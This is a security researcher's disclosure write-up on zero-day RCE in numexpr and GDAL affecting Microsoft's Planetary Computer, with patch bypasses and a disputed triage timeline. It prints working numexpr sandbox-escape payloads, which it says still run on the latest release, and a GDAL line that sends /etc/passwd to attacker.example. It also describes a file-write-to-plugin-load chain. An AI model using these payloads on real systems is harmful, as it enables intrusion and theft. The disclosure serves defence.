Microsoft runs a cloud service called Planetary Computer. We found two zero-day vulnerabilities in critical open-source libraries the service depends on. The bugs gave us code execution on Microsoft's servers, inside the service's internal network.
From there, the compromised process had permission to access every other customer's data on the platform. We documented that access path. We did not exercise it. Under coordinated disclosure rules, we are not supposed to.
We reported the bugs to Microsoft in February-March. The first was confirmed critical. Two weeks later, both cases were downgraded to "low severity, no impact on other customers."
So we went back to the live service and re-ran the same permission check we'd captured. The cluster-scoped access we had documented was gone. Microsoft had surgically removed every permission in the days after our reports, while triage was telling us those permissions never mattered.
If there was no risk, there was nothing to remove.
We bypassed both patches in under a day. Three weeks later, Microsoft reversed itself and confirmed cross-customer exposure had been real all along. Both bugs are now critical, fixed, and pending public CVE assignment.
The Supply-Chain Problem
This is not a story about Microsoft. It's a story about two foundational open-source libraries that process untrusted input by default.
numexpr has 99,187 GitHub dependents and 15.6 million PyPI downloads per month. It ships in Pandas, PyTables, and virtually every scientific-Python stack. GDAL has 457,000 monthly downloads and is the de-facto standard for raster processing—QGIS, PostGIS, GeoPandas, and the entire OSGeo ecosystem sit on top of it.
Microsoft's Planetary Computer exposed both libraries directly to user input. That configuration turned a general-purpose vulnerability into a cloud-scale compromise.
But the problem runs deeper. Any service that passes untrusted data to numexpr.evaluate() or GDAL's raster processing is one request away from code execution. We scanned for TiTiler deployments (an open-source tile server using numexpr) and found live instances at:
A major US public research university
Multiple private-sector analytics companies
US government cloud environments
A national research agency in Europe
Every one was a one-request RCE away from the same outcome we got on Azure.
Microsoft's bugs are fixed. The patch was bypassed. The libraries remain exposed. The numexpr maintainers have a patch ready but haven't released it yet.
If you use Pandas, QGIS, PostGIS, rasterio, or any geospatial or scientific-computing pipeline—assume you are running these libraries. Check your input boundaries. Assume the first patch can be bypassed.
Bug #1: numexpr, the Sandbox That Wasn't
numexpr.evaluate("1+1") looks innocent. Underneath, it calls Python's eval() against a restricted-globals namespace. The sanitizer is a regex blocklist plus a namespace where unknown names get replaced with inert VariableNode placeholders: dunders are filtered, brackets and colons are filtered, attribute access is filtered.
A 2023 CVE (CVE-2023-39631) against LangChain's calculator chain had already shown the blocklist was leaky. The numexpr maintainers patched that specific bypass. The sandbox model itself was untouched.
We found a new bypass that turned the entire sandbox into a one-liner. Three pieces:
Generator expression scope. A
(... for x in ...)body has its own code object with its ownco_names. numexpr'sVariableNodeshadowing applies to the outer code object's names, not the inner one. Inside a generator,evalresolves to the real__builtins__['eval'], not the placeholder.Star-unpacking forces iteration.
(*(genexpr),)is a syntactic construct that causes Python to drain the generator duringeval(), meaning the generator body executes as a side effect, before numexpr ever inspects the return value.Single-quoted strings bypass the regex. numexpr's sanitizer strips single-quoted strings before running the blocklist regex. Anything dangerous hidden inside
'...'is invisible to the filter.
Chain them:
1+1+(*(eval(x) for x in ('__import__("os").popen("COMMAND").read()',)),)1+1 is the math part. numexpr starts evaluating it as normal arithmetic. The generator fires inside eval(). The payload is hidden in single quotes, invisible to the regex. __import__("os").popen(...).read() runs. numexpr raises TypeError, after the command has executed.
Sent through the tiler's expression parameter, we got code execution as the tiler service inside an AKS pod. The payload still works against the latest numexpr (2.14.1).
Patch & Bypass
Microsoft's response was a string-level lookup for eval( in the user expression, applied before evaluation. The logic was simple: if you can't see eval(, you can't exploit it. But Python has multiple execution functions, not just eval.
We swapped to exec(compile(...)):
1+1+(*(exec(compile(x,'','exec')) for x in ('__import__("os").system("id")',)),)No eval( substring. Same generator-scope sandbox bypass. Same code execution. The patch assumed the problem was the function name, not the architecture.
Bug #2: GDAL, From Arbitrary File Read to Root in One VRT
The first foothold was a file read. GDAL's /vsicurl/ handler accepts a header_file= parameter that reads a local file and sends it as HTTP headers on the outbound request:
/vsicurl?header_file=/etc/passwd&url=https://attacker.example/exfilOne constraint: GDAL parses the file contents as HTTP headers, so only lines that look like Name: Value (containing :) come through. /etc/passwd happens to fit. Most files on disk don't. We didn't bother enumerating paths to find more readable files. Code execution was the next step anyway.
Reliable file read on the GeoCatalog worker, but not enough on its own to prove customer data impact. We needed code execution. GDAL gave us that too, in a chain that fits inside a single GDAL processing call.
Step 1: Arbitrary File Write via the MRF Caching Driver
GDAL's Meta Raster Format driver has a caching mode. When a VRT inlines an <MRF_META> block with a <CachedSource>, MRF fetches a remote raster and writes the raw pixel bytes to whatever local path you specify in <DataFile>. Parent directories created via mkdir_r(). No path validation. Process runs as root.
Encode a Linux .so as the pixel data of a PGM image, and MRF reproduces it byte-for-byte at any path on the worker. We used this primitive to write an .so file to a specific path on the disk which we will use for the next step.
Step 2: Code Execution via the HDF5 Dynamic Filter Plugin
libhdf5 has a dynamic filter plugin mechanism. When HDF5 hits a dataset compressed with an unregistered filter ID, it walks a plugin path, finds a matching .so, and dlopen()s it. dlopen() runs any __attribute__((constructor)) functions. The plugin only has to exist. HDF5 does not verify it.
The default plugin path we used: /usr/local/hdf5/lib/plugin.
The Chain Inside One VRT
A VRT with two raster bands:
Band 1 uses MRF caching to fetch a PGM whose pixel bytes are our compiled
.so, writing it to/usr/local/hdf5/lib/plugin/libfilter.soBand 2 opens a remote HDF5 file whose dataset uses an unregistered filter ID
GDAL processes the bands in order. By the time Band 2 triggers HDF5 decompression, the plugin is already on disk. HDF5 finds it, dlopen() fires the constructor, the constructor runs system("..."), and GDAL returns 0. Silent success.
One-shot exploit. Upload the VRT, submit a STAC item, the constructor fires on the worker ~30 seconds later. Whole chain completes in a single GDAL processing call.
This is not a bug in GDAL's threat model. GDAL trusts the operator to gate user input. Microsoft handed users the raster URL directly.
Patch & Bypass
Microsoft's first response was to block VRT file processing on the ingestion path. Clean, surgical, specific to the attack vector we'd used. But the exploit didn't actually care about the file type. It cared about getting GDAL to parse a document that embedded the <MRF_META> block.
We moved the payload from a VRT into a GPKG (GeoPackage) file—a standard geospatial container format that also supports embedded raster metadata. The patch didn't cover GPKG processing. We ran a similar file write to arbitrary code execution chain via other methods undisclosed in this report, but the concept remains the same.
Microsoft had patched the specific vulnerability. We'd exploited the architecture.
The Cross-Tenant Moment
First thing inside the shell: kubectl auth can-i --list. We expected something narrow. We got:
list, watch: configmaps, endpoints, nodes, pods, secrets
get, list, watch: configmaps, pods, secrets, endpoints
get, list, watch: namespaces
get, list, watch: nodes, servicesCluster-scoped list secrets. Cluster-scoped list pods. The compromised pod's service account had RBAC that reached across every namespace in the AKS cluster, every tenant's GeoCatalog instance included.
Pods were tenant-isolated. Each tenant gets its own dedicated set of long-running pods, recycled periodically. We observed our own files persisting across subsequent runs against our own tenant, which only confirmed pods were long-lived, not that they were shared across tenants. The cross-tenant vector was not the filesystem. It was the RBAC, the Kubernetes role bindings that governed what any pod in the cluster could access, regardless of namespace or tenant.
Either bug alone, dropped into a pod with that service account, was complete cross-tenant compromise. Microsoft ultimately confirmed the same.
The Disclosure That Didn't Go as Expected
Both bugs went to MSRC in February 2026.
March 17, 2026. MSRC confirms the GDAL case (107887) as Critical, Remote Code Execution. The numexpr case (110770) is still in triage.
April 2, 2026. MSRC writes back:
"This case has been assessed as low severity and does not meet Microsoft's bar for immediate servicing due to there is no other customer data on this node and engineering also confirmed they do not see cross stamp recycling of nodes resulting in a information leak in that manner. As a result the nodes are properly recycled and there is no cross tenant EOP here."
Same email for the numexpr case. Both critical RCEs, both had list secrets across the cluster, now both "low severity, no cross-tenant impact."
We did not agree with the severity, so we had to bring in new evidence for our case. That's when we wanted to get on the pods again. We bypassed the patches Microsoft had put in place to collect more evidence.
The Receipt
While disputing severity, we re-ran the rules review against the live worker.
Before (during exploitation):
list, watch: configmaps, endpoints, nodes, pods, secrets
get, list, watch: configmaps, pods, secrets, endpoints
get, list, watch: namespaces
get, list, watch: nodes, servicesAfter (post-disclosure):
get, watch, list: metrics.k8s.io (pods, nodes only)
create: selfsubjectaccessreviews, selfsubjectrulesreviews
create: selfsubjectreviewsEvery cluster-scoped permission to secrets, configmaps, namespaces, pods, and services was gone. A surgical removal of the exact resources we had documented, in the exact order we documented them.
MSRC said there was no cross-tenant exposure. Engineering's actions said the exposure had to be eliminated. Both could not be true.
The Reversal
May 15, 2026. MSRC writes back:
"Thank you so much for your research and patience on this. We ended up taking a closer look at this and did confirm there possibly could have been cross tenant impact here. As a result we will upgrade these reports back to critical."
The same email also noted, gently, that "future reports need to show cross tenant impact upfront." We disagree with that framing. Microsoft rules of engagement prevent researchers from going further than reproduction when performing ethical research.
The Harder Problem
This is not researchers versus MSRC. The case managers at Microsoft handle enormous volume. Mistakes at that throughput are capacity, not malice.
And the load is getting worse. AI-assisted research, including ours at Enclave, has made it easier than ever to generate vulnerability reports. The good ones land faster. The bad ones drown the queue.
We've seen a major change in large bug bounty programs. The bar for finding bugs is different today. Exploiting and triaging is a whole different story.
A case manager has minutes to tell the real thing from generated text. Get it wrong one way, engineers chase ghosts. Get it wrong the other way, a critical bug gets marked low because it pattern-matched onto today's noise. Every large vendor is hitting this same wall.
Researchers face the mirror problem. Coordinated disclosure tells us not to read other customers' data, not to exfiltrate secrets, not to pivot between tenants. So when triage says "your report didn't fully demonstrate cross-tenant impact," we're being asked to do exactly what the rules forbid. We have to prove a privacy violation exists without committing a privacy violation to prove it. This is a structural catch-22.
MSRC ultimately reversed both assessments. We appreciate that.
More Than Just an Azure Story
A bug in libraries with this kind of footprint is not one bug. It's a population of bugs, distributed across every service that ever passed user input to one of them.
We looked at TiTiler, a popular open-source raster tile server that uses numexpr without authentication by default. A few minutes of scanning surfaced live deployments at universities, companies, US government cloud instances, and large national research agencies in Europe.
Every one was a one-request RCE away from the same outcome we got on Azure. We notified each. Most are offline now.
One bug in numexpr.evaluate() is a vulnerability in every product that exposes a user-controlled expression. One bug in GDAL's MRF/HDF5 chain is a vulnerability in every service that takes user-supplied raster URLs. In the geospatial world that surface is, for practical purposes, uncountable.
The numexpr maintainers were notified in March and have a patch ready. No release yet. If your service passes user input to numexpr.evaluate(), sanitize hard or pull it. If you accept user-supplied GDAL inputs, audit your driver list and your file-type filter.
The Same Bug, Three Years Older: LangChain
The numexpr bypass we used against Microsoft is older than the Microsoft case itself. In 2023, LangChain's LLMMathChain was assigned CVE-2023-39631 for exactly this pattern: a math chain calling numexpr.evaluate() on LLM-emitted text. The numexpr maintainers patched the specific bypass shape. The sandbox model itself was untouched.
Three years later, same shape, slightly different payload, still runs. The current _evaluate_expression in langchain-classic 1.0.7 (released 2026-05-07):
numexpr.evaluate(
expression.strip(),
global_dict={}, # restrict access to globals
local_dict=local_dict,
)The comment is the bug. global_dict={} does not restrict access to globals against a generator expression, which gets its own co_names scope outside numexpr's VariableNode shadowing. We confirmed our payload triggers code execution through this code path against numexpr==2.14.1 (latest).
Pandas, the largest downstream consumer of numexpr, documents in its source that its expression evaluator "can run arbitrary code which can make you vulnerable to code injection if you pass user input to this function." LangChain ships the same primitive with a comment claiming the opposite.
We reported this to LangChain. They closed the advisory:
"Closing as this is officially deprecated functionality. The functionality is in a component / integration which is not enabled by default. Users need to opt-into it AND install the underlying library knowingly."
The chain is still importable, still callable, and still present in the current published package. Its official migration target uses the same numexpr.evaluate() call.
Three Takeaways
1. You cannot sandbox Python with a blocklist. There is really no reason to pass user input to eval() in 2026.
2. Tenant isolation needs to be continuously tested Even when your infra assumes tenant separation, one unexpected assumption becomes the attack vector where your whole foundation breaks.
3. When triage and remediation disagree, trust the remediation. A "low severity, no impact" bug does not get a same-week emergency RBAC rewrite. Triage is human, under load, and can drift from what engineering is actually doing. Capture the evidence, share it back, give the process a chance to correct itself. In this case, it did.
Research by Yanir Tsarimi, CPO at Enclave. Reach us at enclave.ai.
CVE-2026-41104 — Microsoft Planetary Computer Pro Information Disclosure Vulnerability Published: May 21, 2026 | CVSS: 10.0 (CRITICAL) | CWE-502: Deserialization of Untrusted Data https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41104
From research to review
Want this level of analysis on your code?
Enclave reviews real pull requests with codebase context, traces findings across files, and filters for what is exploitable in your environment.
